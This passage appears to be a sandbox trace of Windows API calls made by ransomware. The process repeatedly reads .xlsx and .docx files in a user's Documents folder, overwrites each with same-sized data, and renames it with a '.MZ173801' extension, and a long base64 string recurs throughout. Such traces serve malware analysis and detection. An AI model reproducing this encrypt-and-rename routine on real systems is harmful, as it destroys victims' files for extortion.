lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.627] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vq7ZCx5KHQ.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vq7zcx5khq.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.627] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0124.627] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.628] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x5e86 [0124.628] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.628] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x5e86, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x5e86, lpOverlapped=0x0) returned 1 [0124.629] CloseHandle (hObject=0x288) returned 1 [0124.629] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vq7ZCx5KHQ.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vq7zcx5khq.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.630] WriteFile (in: hFile=0x288, lpBuffer=0x71a540*, nNumberOfBytesToWrite=0x5e86, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x71a540*, lpNumberOfBytesWritten=0x18f99c*=0x5e86, lpOverlapped=0x0) returned 1 [0124.632] CloseHandle (hObject=0x288) returned 1 [0124.639] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vq7ZCx5KHQ.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vq7zcx5khq.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vq7ZCx5KHQ.xlsx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vq7zcx5khq.xlsx.mz173801")) returned 1 [0124.640] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wb3dJsVzJYFX6zhDznM.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wb3djsvzjyfx6zhdznm.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9b210, ftCreationTime.dwHighDateTime=0x1d58ebe, ftLastAccessTime.dwLowDateTime=0x4e1c6410, ftLastAccessTime.dwHighDateTime=0x1d55e91, ftLastWriteTime.dwLowDateTime=0x4e1c6410, ftLastWriteTime.dwHighDateTime=0x1d55e91, nFileSizeHigh=0x0, nFileSizeLow=0x12627)) returned 1 [0124.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.645] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wb3dJsVzJYFX6zhDznM.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wb3djsvzjyfx6zhdznm.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.645] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0124.645] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.645] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x12627 [0124.646] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.646] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x12627, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x12627, lpOverlapped=0x0) returned 1 [0124.647] CloseHandle (hObject=0x288) returned 1 [0124.648] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wb3dJsVzJYFX6zhDznM.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wb3djsvzjyfx6zhdznm.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.650] WriteFile (in: hFile=0x288, lpBuffer=0x728540*, nNumberOfBytesToWrite=0x12627, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x728540*, lpNumberOfBytesWritten=0x18f99c*=0x12627, lpOverlapped=0x0) returned 1 [0124.652] CloseHandle (hObject=0x288) returned 1 [0124.653] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wb3dJsVzJYFX6zhDznM.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wb3djsvzjyfx6zhdznm.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wb3dJsVzJYFX6zhDznM.xlsx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wb3djsvzjyfx6zhdznm.xlsx.mz173801")) returned 1 [0124.654] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WSc xO6G.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wsc xo6g.docx"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc68e6140, ftCreationTime.dwHighDateTime=0x1d58926, ftLastAccessTime.dwLowDateTime=0x45381400, ftLastAccessTime.dwHighDateTime=0x1d5b799, ftLastWriteTime.dwLowDateTime=0x45381400, ftLastWriteTime.dwHighDateTime=0x1d5b799, nFileSizeHigh=0x0, nFileSizeLow=0x4487)) returned 1 [0124.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCM